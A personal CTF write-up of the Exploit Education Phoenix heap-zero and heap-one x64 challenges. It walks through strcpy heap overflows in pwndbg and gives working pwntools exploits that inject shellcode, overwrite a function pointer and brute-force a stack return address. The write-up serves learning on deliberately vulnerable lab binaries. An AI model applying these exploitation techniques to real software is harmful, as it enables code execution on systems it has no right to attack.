# Phoenix64 Writeup - heap{n}

## Introduction

This post documents my learning journey through the phoenix challenges from [Exploit Education](https://exploit.education/phoenix/), focusing on memory corruption in x64 binaries.

Rather than rushing to an exploit, the goal is to digest the concepts:

* How to review code for memory safety issues
* How vulnerabilities arise in heap layouts
* How exploitation differs on x64
* How to reason about exploitation step-by-step
* How to fix the vulnerability correctly

## Heap - 0

### Code Under Review

The challenge comes from [*phoenix/heap-zero*](https://exploit.education/phoenix/heap-zero/) in exploit.education.

```c
struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};
```

```c
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

strcpy(d->name, argv[1]);
```

### Step 1: High-Level Program Behaviour

At runtime, the program:

1. Allocate 2 heap  objects:
   1. `struct data` --> contains 64-bytes character buffer.
   2. `struct fp` --> contains a function pointer.
2. Initializes `f->fp` to `nowinner`
3. Copies user-controlled input (`argv[1]`) into `d->name`  <mark style="color:red;">**without bounds checking.**</mark>
4. calls `f->fp()`&#x20;

#### Intended Control Flow

```c
main()
 └─ strcpy()         ← user input
 └─ f->fp()          ← indirect call
     ├─ nowinner()   ← default
     └─ winner()     ← goal
```

### Step 2: Spotting the Vulnerability&#x20;

#### 🚨 Vulnerable Line

```c
strcpy(d->name, argv[1]); // ACID
```

#### Why This is Dangerous

* `d->name` is 64 bytes.
* `strcpy` performs no bounds checking.
* Any input longer then 64 bytes will <mark style="color:red;">**overflow into adjacent heap memory.**</mark>

This is a heap-based overflow.

### Step 3: Heap Layout Reasoning

Heap allocation are usually contiguous, `malloc(sizeof(struct data))`  followed by malloc `malloc(sizeof(struct f))` often results in :

`[Metadata 16 byes][d->name (64 bytes)][Metadata 16 byes][f->fp (8 bytes)] [...]`

That means overflowing `d->name` can overwrite `f->fp`.&#x20;

we can confirm that using a debugger after setting a breakpoint on `strcpy()` :

```gdscript
pwndbg> disassemble main
Dump of assembler code for function main:
   [...]
   0x0000000000400b17 <+56>:    call   0x4016ae <malloc>
   0x0000000000400b1c <+61>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400b20 <+65>:    mov    edi,0x40
   0x0000000000400b25 <+70>:    call   0x4016ae <malloc>
   0x0000000000400b2a <+75>:    mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400b2e <+79>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400b32 <+83>:    mov    QWORD PTR [rax],0x400ace
   0x0000000000400b39 <+90>:    mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000400b3d <+94>:    add    rax,0x8
   0x0000000000400b41 <+98>:    mov    rdx,QWORD PTR [rax]
   0x0000000000400b44 <+101>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400b48 <+105>:   mov    rsi,rdx
   0x0000000000400b4b <+108>:   mov    rdi,rax
   0x0000000000400b4e <+111>:   call   0x400860 <strcpy@plt>
   [...]
End of assembler dump.
pwndbg> b *main+111
Breakpoint 1 at 0x400b4e
pwndbg> r XXXXXXXXXXX
   [...]
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────
 RAX  0x7ffff7ef6010 ◂— 0
 RBX  0x7fffffffe548 —▸ 0x7fffffffe764 ◂— '/opt/phoenix/amd64/heap-zero'
 RCX  0x7ffff7da5e14 (mmap64+133) ◂— cmp rax, -1
 RDX  0x7fffffffe781 ◂— 'XXXXXXXXXXX'
 RDI  0x7ffff7ef6010 ◂— 0
 RSI  0x7fffffffe781 ◂— 'XXXXXXXXXXX'
    [...]'
 RIP  0x400b4e (main+111) ◂— call strcpy@plt
─────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate off ]──────────────────────────────────────────────────────
 ► 0x400b4e <main+111>    call   strcpy@plt                  <strcpy@plt>
        dest: 0x7ffff7ef6010 ◂— 0
        src: 0x7fffffffe781 ◂— 'XXXXXXXXXXX'
    [...]
```

We examine the values of d (at rbp-0x10) and f (at rbp-0x8), as well as the distance between them.

```c
pwndbg> x/x $rbp-0x10
0x7fffffffe4e0: 0xf7ef6060
pwndbg> x/x $rbp-0x8
0x7fffffffe4e8: 0xf7ef6010
pwndbg> print/d 0xf7ef6060-0xf7ef6010
$1 = 80
```

f we proceed to the next line of code (using 'n'), we arrive right after the return of `strcpy`.

At the target memory location, we find exactly what we expected:

```c
pwndbg> x/20gx 0x7ffff7ef6010
0x7ffff7ef6010: 0x5858585858585858      0x0000000000585858
0x7ffff7ef6020: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6030: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6040: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6050: 0x0000000000000000      0x0000000000000051
0x7ffff7ef6060: 0x0000000000400ace      0x0000000000000000
0x7ffff7ef6070: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000      0x0000000000000000
0x7ffff7ef60a0: 0x0000000000000000      0x00000000000fff61
```

We can observe that our "X"s have been copied to the address stored in `0x7ffff7ef6010`. The data structure was 64 bytes in size. After the 64-byte mark, there are 16 bytes of metadata, followed by the start of the next chunk, where the second structure is allocated.

Additionally, we notice the value `0x00400ace` at byte `0x7ffff7ef6060`. This corresponds to the address of `nowinner`.

```c
pwndbg> p nowinner
$2 = {<text variable, no debug info>} 0x400ace <nowinner>
```

We could simply overflow the buffer with 64 + 16 bytes, reach the function pointer, and overwrite it with our `winner` function. However, there's an issue in this case: the problem is that our `winner` function is located at the address:

```c
pwndbg> p winner
$3 = {<text variable, no debug info>} 0x400abd <winner>
```

This address contains not only a null byte (actually, 5 null bytes, but since the memory is conveniently set to 0, this isn't an issue), but also a byte `0x0a`. When `strcpy` copies the string, it will replace this byte with a null byte, which will terminate the string copy prematurely. As a result, the string won't be fully copied, and the overflow won't work as expected.

To reach the `winner` function, we introduce an extra layer of indirection. We place a small shellcode at the start of our buffer that jumps to the winner function (using `push ADDR; ret`).

### Step 4: Exploitation

Before attempting exploitation, it’s good practice to inspect the binary’s security mitigations. This helps determine *what kind of exploit is feasible* and *what complexity to expect*.

Running `checksec` on the Phoenix `heap-zero` binary:

```bash
user@phoenix-amd64:/opt/phoenix/amd64$ checksec heap-zero
[*] '/opt/phoenix/amd64/heap-zero'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    RPATH:    '/opt/phoenix/x86_64-linux-musl/lib'

```

#### Interpreting Each Mitigation (x64 Context)

`Arch: amd64-64-little`&#x20;

* 64-bit little-endian binary
* Function pointers and addresses are **8 bytes**
* Endianness matters when overwriting pointers (`little-endian`)

This directly impacts how we craft the overflow payload.

`RELRO`

* Global Offset Table (GOT) is writable

`Stack Canaries`

* Stack-based overflows would not be detected
* Not-directly relevant here (heap overflow), but confirms
  * The binary is intentionally weak
  * No runtime detection of memory corruption

`NX (Non-Executable Memory)`

* Heap and stack memory is executable
* Shellcode injection would be possible

`PIE`

* Binary loads at fixed address
* Function addresses (like `winner()`) are constant
* No ASLR for the main function

`RWX Segments`

* Momory segments are readable, writable, and executable
* Extemly insecure by modern standards

By exploiting the heap buffer overflow, we can overwrite the function pointer `fp` with the address of our buffer, which doesn't include any null bytes. This is the core of the exploit:

```python
import pwnlib
import struct

DATA_ADDR = 0x7ffff7ef6010
WINNER_ADDR = 0x400abd

pwnlib.context.arch = 'amd64'
shellcode = pwnlib.shellcraft.amd64.push(WINNER_ADDR)
shellcode += pwnlib.shellcraft.amd64.ret()

shellcode = pwnlib.asm.asm(shellcode, arch='amd64')

buf = shellcode + "A" * (80 - len(shellcode))
buf += struct.pack("<Q", DATA_ADDR)

print buf
```

And triggering the exploit:

```bash
user@phoenix-amd64:/opt/phoenix/amd64$ ./heap-zero $(python sol_heap1.y)
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level

```

## Heap - 1

### Code Under Review

The challenge comes from [*phoenix/heap-one*](https://exploit.education/phoenix/heap-one/) in exploit.education.\
The program allocates two structures on the heap, each containing an integer and a pointer to a dynamically allocated name buffer:

```c
struct heapStructure {
  int priority;
  char *name;
};
```

Then:

1. `i1` is allocated → `i1->name` gets an 8‑byte heap buffer
2. `i2` is allocated → `i2->name` gets another 8‑byte heap buffer
3. User input (`argv[1]`, `argv[2]`) is copied with `strcpy` into each buffer
4. A hidden function `winner()` exists and prints a success message

Because `strcpy` performs *no bounds checking*, <mark style="color:red;">**an overflow**</mark> into the heap is possible.

### **Step 1: High‑Level Program Behaviour**

At a high level, the program:

* Allocates two structures:
  * `i1` with priority = 1 and an 8-byte name buffer
  * `i2` with priority = 2 and another 8-byte name buffer
* Copies user input directly into both buffers
* Does **nothing** with the data afterward, the program ends

What matters here is not what the program *does*, but how it uses memory.

Because the heap buffers are fixed-size (8 bytes) but the user-provided strings can be longer, the program allows an attacker to overflow the first buffer (`i1->name`) and overwrite adjacent heap memory, including fields belonging to `i2`.

### Step 2: Spotting the Vulnerability

🚨 The vulnerable lines are:

```c
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
```

Problems:

* **`strcpy` does not check length.**
* The buffers are only **8 bytes long**, including the null terminator.
* Any input longer than 7 characters (*even a simple string*) will overflow.

Since heap allocations are typically sequential, overflowing `i1->name` allows an attacker to overwrite:

* The pointer `i2->name`

Once `i2->name` is overwritten, the second `strcpy` will attempt to write user-controlled data to **an attacker-controlled pointer**, enabling arbitrary writes.

This is the core heap exploitation primitive for this level.

### **Step 3: Heap Layout Reasoning**

The exact layout looks like:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F8SGxkW7wbecLksxny0PG%2Fimage.png?alt=media&#x26;token=93f8ae84-cbac-445c-b13b-f6af5d60f3b4" alt=""><figcaption></figcaption></figure>

Because `i1->name` (**0x7ffff7ef6030**)comes **before** the `i2` structure, overflowing `i1->name` lets you overwrite:

* `i2->priority`&#x20;
* `i2->name` pointer (**0x7ffff7ef6070**)

If an attacker overwrites **`i2->name`**, then the second `strcpy(i2->name, argv[2])` will copy the attacker’s second argument into **whatever memory address they choose**.

That is the crucial exploitation vector.

### Step 4: Exploitation

The goal is to redirect program flow to the hidden function:

```coffee
void winner() {
    printf("Congratulations, ...\n");
}
```

Since the program does not call `winner()` normally, the exploit must:

1. **Overflow `i1->name`** to overwrite the pointer `i2->name`
2. Set `i2->name` to a location the attacker wants to write to
3. Use the second `strcpy()` to write a new value (e.g., an address) into that location
4. Influence a code path so that execution eventually jumps to `winner()`&#x20;

In this level, the intended target is typically:

* The saved return pointer on the stack, or
* A Global Offset Table entry (GOT overwrite)

By controlling where the second `strcpy()` writes data, the attacker achieves a controlled write, enabling a redirect to `winner()`.

Before sharing the working exploit I developed, I ran into a few constraints, most notably the presence of null bytes, since `strcpy` stops at the first null. This was one of the reasons I couldn’t rely on a GOT‑based approach:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FjptkurtDrK2oGZggvk83%2Fimage.png?alt=media&#x26;token=1d708bd0-7765-49c8-9ee9-33e5190f340c" alt=""><figcaption></figcaption></figure>

To work around this problem, I opted for a different strategy: instead of overwriting a GOT entry, I chose to overwrite the saved return address on the stack

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FRy4DeI9gGYcm3IqWpqiq%2Fimage.png?alt=media&#x26;token=c96badb2-ecbb-47db-afc0-724219c7061f" alt=""><figcaption></figcaption></figure>

As you can see, the return address of `main()` is `0x7fffffffe478`. For context, ASLR is disabled for this binary, yet this value still changes when I’m not using pwndbg. I was ultimately able to solve the challenge using the hardcoded return address with pwndbg context.

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2F1R4tD8qj3UDXN0AjGIZB%2Fimage.png?alt=media&#x26;token=1fbcbddb-9445-43d8-b246-05fb8ffd8dc6" alt=""><figcaption></figcaption></figure>

I wanted an exploit that didn’t depend on pwndbg, so I examined the stack layout and noticed a consistent address pattern at `0x7fffffffe4xx`. This allowed me to brute‑force the stack address by iterating through that range until I found a value that successfully redirected control flow:

<figure><img src="https://615064086-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXlxki-LGPmhYCBAzg5%2Fuploads%2FQ8tUTzlsYihsiDU9hSUA%2Fimage.png?alt=media&#x26;token=08966cbf-8abc-4e66-b5dc-ce0f4aebf649" alt=""><figcaption></figcaption></figure>

#### Exploit

```python
from pwn import *
import time

context.arch = 'amd64'

BASE_STACK_ADDR = 0x7fffffffe4a8
SHELLCODE_ADDR = 0x00007ffff7ef6030

shellcode = asm('''
        mov rax, 0x111111111511c04
        sub rax, 0x11111111
        mov eax, eax
        call rax
        push 60
        pop rax
        xor rdi, rdi
        syscall
''')

if len(shellcode) < 40:
    padding = b"A" * (40 - len(shellcode))
else:
    padding = b""

arg2 = p64(SHELLCODE_ADDR)[:6]

for i in range(40, 50):
    offset = i * 8
    target_addr = BASE_STACK_ADDR + offset

    arg1 = shellcode + padding + p64(target_addr)[:6]
    try:
        p = process(['./heap-one', arg1, arg2])
        output = p.recvall(timeout=1)
        p.close()

        if b"Congratulations" in output:
            log.success("SUCCESS via Target address: 0x{:012x}".format(target_addr))
            print(output.decode())
             break
        else:
            log.failure("No success at 0x{:012x}".format(target_addr))

    except Exception as e:
        log.failure("Crashed at offset {:+4d}: {}".format(offset, e))

    time.sleep(0.1)
```
